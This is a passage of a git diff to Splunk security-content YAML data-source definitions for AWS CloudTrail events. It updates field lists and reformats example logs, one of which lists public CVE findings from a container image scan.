- - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -100,4 +105,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-20T21:32:54Z", "eventSource": "waf.amazonaws.com", "eventName": "DeleteWebACL", "awsRegion": "us-east-1", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/waf.delete-web-acl", "requestParameters": {"changeToken": "11eb19d6-d960-4398-8761-6a8fbf8fc425", "webACLId": "6a9771ff-7d94-4fec-a049-e42da0bc7347"}, "responseElements": {"changeToken": "11eb19d6-d960-4398-8761-6a8fbf8fc425"}, "requestID": "55fd5189-5f86-4052-8e8e-993faf1753e8", "eventID": "c8fd51ac-676d-4d5d-aa5a-7e642cf5bb97", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "2015-08-24", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "waf.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-20T21:32:54Z", "eventSource": "waf.amazonaws.com", "eventName": "DeleteWebACL", "awsRegion": "us-east-1", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/waf.delete-web-acl", "requestParameters": {"changeToken": "11eb19d6-d960-4398-8761-6a8fbf8fc425", "webACLId": "6a9771ff-7d94-4fec-a049-e42da0bc7347"}, "responseElements": {"changeToken": "11eb19d6-d960-4398-8761-6a8fbf8fc425"}, "requestID": "55fd5189-5f86-4052-8e8e-993faf1753e8", "eventID": "c8fd51ac-676d-4d5d-aa5a-7e642cf5bb97", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "2015-08-24", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "waf.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_describeimagescanfindings.yml b/data_sources/aws_cloudtrail_describeimagescanfindings.yml index 191afb2bce..913b31e006 100644 --- a/data_sources/aws_cloudtrail_describeimagescanfindings.yml +++ b/data_sources/aws_cloudtrail_describeimagescanfindings.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DescribeImageScanFindings id: 688ea789-9ba2-4970-90a2-17e541e273c9 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when findings from an image vulnerability scan are described using the DescribeImageScanFindings operation in AWS CloudTrail. mitre_components: @@ -20,8 +20,9 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -40,8 +41,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -87,7 +88,12 @@ fields: - tag::eventtype - timeendpos - timestartpos - - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -102,13 +108,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -121,6 +120,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AAAAAAAAAAAAAAAAAAAAA:test@test.com", "arn": "arn:aws:sts::111111111111:assumed-role/role_name/test@test.com", "accountId": "111111111111", "accessKeyId": "AKIAIOSFODNN7EXAMPLE", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AKIAIOSFODNN7EXAMPLE", "arn": "arn:aws:iam::111111111111:role/aws-reserved/test/region/group", "accountId": "111111111111", "userName": "test"}, "webIdFederationData" : {}, "attributes": {"creationDate": "2021-08-11T09:42:53Z", "mfaAuthenticated": "false"}}}, "eventTime": "2021-08-11T11:52:27Z", "eventSource": "ecr.amazonaws.com", "eventName": "DescribeImageScanFindings", "awsRegion": "eu-central-1" , "sourceIPAddress": "154.16.165.133", "userAgent": "aws-internal/3 aws-sdk-java/1.11.1030 Linux/4.9.273-0.1.ac.226.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.302-b08 java/1.8.0_302 vendor/Oracle_Corporation cfg/retry-mode/legacy", "requestParameters": {"repositoryName": "devsecops/cat_dog_client", "imageId": {"imageDigest": "sha256:a27d73188718a511a1ec1ec788826674b21e097f29873dde734a4dedfbfab1c6"}, "maxResults": 1000}, "responseElements": {"registryId": "111111111111", "repositoryName": "devsecops/cat_dog_client", "imageId": {"imageDigest" : "sha256:a27d73188718a511a1ec1ec788826674b21e097f29873dde734a4dedfbfab1c6"}, "imageScanStatus": {"status": "COMPLETE", "description": "The scan was completed successfully."}, "imageScanFindings": {"imageScanCompletedAt": "Aug 11, 2021, 11:30:16 AM", "vulnerabilitySourceUpdatedAt": "Aug 11, 2021, 1:17:52 AM", "findings": [{"name": "CVE-2019-25013", "description": "The iconv feature in the GNU C Library (aka glibc or libc6) through 2.32, when processing invalid multi-byte input sequences in the EUC-KR encoding, may have a buffer over-read.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-25013", "severity": "HIGH", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:C"}, {"key": "CVSS2_SCORE", "value": "7.1"}]}, {"name": "CVE-2021-33574", "description": "The mq_notify function in the GNU C Library (aka glibc) versions 2.32 and 2.33 has a use-after-free. It may use the notification thread attributes object (passed through its struct sigevent parameter) after it has been freed by the caller, leading to a denial of service (application crash) or possibly unspecified other impact.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-33574", "severity": "HIGH", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2018-12886", "description": "stack_protect_prologue in cfgexpand.c and stack_protect_epilogue in function.c in GNU Compiler Collection (GCC) 4.1 through 8 (under certain circumstances) generate instruction sequences when targeting ARM targets that spill the address of the stack protector guard, which allows an attacker to bypass the protection of -fstack-protector, -fstack-protector-all, -fstack-protector-strong, and -fstack-protector-explicit against stack overflow by controlling what the stack canary is compared against.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-12886", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "8.3.0-6"}, {"key": "package_name", "value": "gcc-8"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-1751", "description": "An out-of-bounds write vulnerability was found in glibc before 2.31 when handling signal trampolines on PowerPC. Specifically, the backtrace function did not properly check the array bounds when storing the frame address, resulting in a denial of service or potential code execution. The highest threat from this vulnerability is to system availability.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-1751", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:P/I:P/A:C"}, {"key": "CVSS2_SCORE", "value": "5.9"}]}, {"name": "CVE-2021-3326", "description": "The iconv function in the GNU C Library (aka glibc or libc6) 2.32 and earlier, when processing invalid input sequences in the ISO-2022-JP-3 encoding, fails an assertion in the code path and aborts the program, potentially resulting in a denial of service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-3326", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-35942", "description": "The wordexp function in the GNU C Library (aka glibc) through 2.33 may crash or read arbitrary memory in parse_param (in posix/wordexp.c) when called with an untrusted, crafted pattern, potentially resulting in a denial of service or disclosure of information. This occurs because atoi was used but strtoul should have been used to ensure correct calculations.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-35942", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "6.4"}]}, {"name": "CVE-2019-12904", "description": "In Libgcrypt 1.8.4, the C implementation of AES is vulnerable to a flush-and-reload side-channel attack because physical addresses are available to other processes. (The C implementation is used on platforms where an assembly-language implementation is unavailable.)", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-12904", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "1.8.4-5+deb10u1"}, {"key": "package_name", "value": "libgcrypt20"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-6363", "description": "** DISPUTED ** In the GD Graphics Library (aka LibGD) through 2.2.5, there is a heap-based buffer over-read in tiffWriter in gd_tiff.c. NOTE: the vendor says \"In my opinion this issue should not have a CVE, since the GD and GD2 formats are documented to be ''obsolete, and should only be used for development and testing purposes.''\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-6363", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.2.5-5.2"}, {"key": "package_name", "value": "libgd2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2019-12290", "description": "GNU libidn2 before 2.2.0 fails to perform the roundtrip checks specified in RFC3490 Section 4.2 when converting A-labels to U-labels. This makes it possible in some circumstances for one domain to impersonate another. By creating a malicious domain that matches a target domain except for the inclusion of certain punycoded Unicode characters (that would be discarded when converted first to a Unicode label and then back to an ASCII label), arbitrary domains can be impersonated.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-12290", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.0.5-1+deb10u1"}, {"key": "package_name", "value": "libidn2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-13115", "description": "In libssh2 before 1.9.0, kex_method_diffie_hellman_group_exchange_sha256_key_exchange in kex.c has an integer overflow that could lead to an out-of-bounds read in the way packets are read from the server. A remote attacker who compromises a SSH server may be able to disclose sensitive information or cause a denial of service condition on the client system when a user connects to the server. This is related to an _libssh2_check_length mistake, and is different from the various issues fixed in 1.8.1, such as CVE-2019-3855.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-13115", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "1.8.0-2.1"}, {"key": "package_name", "value": "libssh2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2016-9318", "description": "libxml2 2.9.4 and earlier, as used in XMLSec 1.2.23 and earlier and other products, does not offer a flag directly indicating that the current document may be read but other files may not be opened, which makes it easier for remote attackers to conduct XML External Entity (XXE) attacks via a crafted document.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-9318", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.9.4+dfsg1-7+deb10u2"}, {"key": "package_name", "value": "libxml2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-16932", "description": "parser.c in libxml2 before 2.9.5 does not prevent infinite recursion in parameter entities.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-16932", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.9.4+dfsg1-7+deb10u2"}, {"key": "package_name", "value": "libxml2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-36309", "description": "ngx_http_lua_module (aka lua-nginx-module) before 0.10.16 in OpenResty allows unsafe characters in an argument when using the API to mutate a URI, or a request or response header.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-36309", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-14155", "description": "libpcre in PCRE before 8.44 allows an integer overflow via a large number after a (?C substring.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-14155", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-3843", "description": "It was discovered that a systemd service that uses DynamicUser property can create a SUID/SGID binary that would be allowed to run as the transient service UID/GID even after the service is terminated. A local attacker may use this flaw to access resources that will be owned by a potentially different service in the future, when the UID/GID will be recycled.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-3843", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "4.6"}]}, {"name": "CVE-2019-3844", "description": "It was discovered that a systemd service that uses DynamicUser property can get new privileges through the execution of SUID binaries, which would allow to create binaries owned by the service transient group with the setgid bit set. A local attacker may use this flaw to access resources that will be owned by a potentially different service in the future, when the GID will be recycled.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-3844", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "4.6"}]}, {"name": "CVE-2016-2781", "description": "chroot in GNU coreutils, when used with --userspec, allows local users to escape to the parent session via a crafted TIOCSTI ioctl call, which pushes characters to the terminal''s input buffer.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-2781", "severity": "LOW", "attributes": [{"key": "package_version", "value": "8.30-3"}, {"key": "package_name", "value": "coreutils"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-22898", "description": "curl 7.7 through 7.76.1 suffers from an information disclosure when the `-t` command line option, known as `CURLOPT_TELNETOPTIONS` in libcurl, is used to send variable=content pairs to TELNET servers. Due to a flaw in the option parser for sending NEW_ENV variables, libcurl could be made to pass on uninitialized data from a stack based buffer to the server, resulting in potentially revealing sensitive internal information to the server using a clear-text network protocol.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22898", "severity": "LOW", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "2.6"}]}, {"name": "CVE-2019-15847", "description": "The POWER9 backend in GNU Compiler Collection (GCC) before version 10 could optimize multiple calls of the __builtin_darn intrinsic into a single call, thus reducing the entropy of the random number generator. This occurred because a volatile operation was not specified. For example, within a single execution of a program, the output of every __builtin_darn() call may be the same.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-15847", "severity": "LOW", "attributes": [{"key": "package_version", "value": "8.3.0-6"}, {"key": "package_name", "value": "gcc-8"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-1752", "description": "A use-after-free vulnerability introduced in glibc upstream version 2.14 was found in the way the tilde expansion was carried out. Directory paths containing an initial tilde followed by a valid username were affected by this issue. A local attacker could exploit this flaw by creating a specially crafted path that, when processed by the glob function, would potentially lead to arbitrary code execution. This was fixed in version 2.32.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-1752", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "3.7"}]}, {"name": "CVE-2020-6096", "description": "An exploitable signed comparison vulnerability exists in the ARMv7 memcpy() implementation of GNU glibc 2.30.9000. Calling memcpy() (on ARMv7 targets that utilize the GNU glibc implementation) with a negative value for the ''num'' parameter results in a signed comparison vulnerability. If an attacker underflows the ''num'' parameter to memcpy(), this vulnerability could lead to undefined behavior such as writing to out-of-bounds memory and potentially remote code execution. Furthermore, this memcpy() implementation allows for program execution to continue in scenarios where a segmentation fault or crash should have occurred. The dangers occur in that subsequent execution and iterations of this code will be executed with this corrupted data.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-6096", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-10029", "description": "The GNU C Library (aka glibc or libc6) before 2.32 could overflow an on-stack buffer during range reduction if an input to an 80-bit long double function contains a non-canonical bit pattern, a seen when passing a 0x5d414141414141410000 value to sinl on x86 targets. This is related to sysdeps/ieee754/ldbl-96/e_rem_pio2l.c.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-10029", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2020-27618", "description": "The iconv function in the GNU C Library (aka glibc or libc6) 2.32 and earlier, when processing invalid multi-byte input sequences in IBM1364, IBM1371, IBM1388, IBM1390, and IBM1399 encodings, fails to advance the input state, which could lead to an infinite loop in applications, resulting in a denial of service, a different vulnerability from CVE-2016-10228.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-27618", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2016-10228", "description": "The iconv program in the GNU C Library (aka glibc or libc6) 2.31 and earlier, when invoked with multiple suffixes in the destination encoding (TRANSLATE or IGNORE) along with the -c option, enters an infinite loop when processing invalid multi-byte input sequences, leading to a denial of service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-10228", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2019-19126", "description": "On the x86-64 architecture, the GNU C Library (aka glibc) before 2.31 fails to ignore the LD_PREFER_MAP_32BIT_EXEC environment variable during program execution after a security transition, allowing local attackers to restrict the possible mapping addresses for loaded libraries and thus bypass ASLR for a setuid program.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-19126", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-27645", "description": "The nameserver caching daemon (nscd) in the GNU C Library (aka glibc or libc6) 2.29 through 2.33, when processing a request for netgroup lookup, may crash due to a double-free, potentially resulting in degraded service or Denial of Service on the local system. This is related to netgroupcache.c.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-27645", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "1.9"}]}, {"name": "CVE-2019-14855", "description": "A flaw was found in the way certificate signatures could be forged using collisions found in the SHA-1 algorithm. An attacker could use this weakness to create forged certificate signatures. This issue affects GnuPG versions before 2.2.18.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-14855", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.2.12-1+deb10u1"}, {"key": "package_name", "value": "gnupg2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-13627", "description": "It was discovered that there was a ECDSA timing attack in the libgcrypt20 cryptographic library. Version affected: 1.8.4-5, 1.7.6-2+deb9u3, and 1.6.3-2+deb8u4. Versions fixed: 1.8.5-2 and 1.6.3-2+deb8u7.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-13627", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.8.4-5+deb10u1"}, {"key": "package_name", "value": "libgcrypt20"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "2.6"}]}, {"name": "CVE-2018-14553", "description": "gdImageClone in gd.c in libgd 2.1.0-rc2 through 2.2.5 has a NULL pointer dereference allowing attackers to crash an application via a specific function call sequence. Only affects PHP when linked with an external libgd (not bundled).", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-14553", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.2.5-5.2"}, {"key": "package_name", "value": "libgd2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-36086", "description": "The CIL compiler in SELinux 3.2 has a use-after-free in cil_reset_classpermission (called from cil_reset_classperms_set and cil_reset_classperms_list).", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36086", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-36085", "description": "The CIL compiler in SELinux 3.2 has a use-after-free in __cil_verify_classperms (called from __verify_map_perm_classperms and hashtab_map).", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36085", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-36087", "description": "The CIL compiler in SELinux 3.2 has a heap-based buffer over-read in ebitmap_match_any (called indirectly from cil_check_neverallow). This occurs because there is sometimes a lack of checks for invalid statements in an optional block.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36087", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-36084", "description": "The CIL compiler in SELinux 3.2 has a use-after-free in __cil_verify_classperms (called from __cil_verify_classpermission and __cil_pre_verify_helper).", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36084", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2019-17498", "description": "In libssh2 v1.9.0 and earlier versions, the SSH_MSG_DISCONNECT logic in packet.c has an integer overflow in a bounds check, enabling an attacker to specify an arbitrary (out-of-bounds) offset for a subsequent memory read. A crafted SSH server may be able to disclose sensitive information or cause a denial of service condition on the client system when a user connects to the server.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-17498", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.8.0-2.1"}, {"key": "package_name", "value": "libssh2"}, {"key" : "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2019-17543", "description": "LZ4 before 1.9.2 has a heap-based buffer overflow in LZ4_write32 (related to LZ4_compress_destSize), affecting applications that call LZ4_compress_fast with a large input. (This issue can also lead to data corruption.) NOTE: the vendor states \"only a few specific / uncommon usages of the API are at risk.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-17543", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.8.3-1+deb10u1"}, {"key": "package_name", "value": "lz4"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2013-0337", "description": "The default configuration of nginx, possibly 1.3.13 and earlier, uses world-readable permissions for the (1) access.log and (2) error.log files, which allows local users to obtain sensitive information by reading the files.", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-0337", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2018-7169", "description": "An issue was discovered in shadow 4.5. newgidmap (in shadow-utils) is setuid and allows an unprivileged user to be placed in a user namespace where setgroups(2) is permitted. This allows an attacker to remove themselves from a supplementary group, which may allow access to certain filesystem paths if the administrator has used \"group blacklisting\" (e.g., chmod g-rwx) to restrict access to paths. This flaw effectively reverts a security feature in the kernel (in particular, the /proc/self/setgroups knob) to prevent this sort of privilege escalation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-7169", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-37600", "description": "An integer overflow in util-linux through 2.37.1 can potentially cause a buffer overflow if an attacker were able to use system resources in a way that leads to a large number in the /proc/sysvipc/sem file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-37600", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.33.1-0.1"}, {"key": "package_name", "value": "util-linux"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2011-3374", "description": "It was found that apt-key in apt, all versions, do not correctly validate gpg keys with the master keyring, leading to a potential man-in-the-middle attack.", "uri" : "https://security-tracker.debian.org/tracker/CVE-2011-3374", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.8.2.3"}, {"key": "package_name", "value": "apt"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2019-18276", "description": "An issue was discovered in disable_priv_mode in shell.c in GNU Bash through 5.0 patch 11. By default, if Bash is run with its effective UID not equal to its real UID, it will drop privileges by setting its effective UID to its real UID. However, it does so incorrectly. On Linux and other systems that support \"saved UID\" functionality, the saved UID is not dropped. An attacker with command execution in the shell can use \"enable -f\" for runtime loading of a new builtin, which can be a shared object that calls setuid() and therefore regains privileges. However, binaries running with an effective UID of 0 are unaffected.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-18276", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "5.0-4"}, {"key": "package_name", "value": "bash"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "7.2"}]}, {"name": "CVE-2017-18018", "description": "In GNU Coreutils through 8.29, 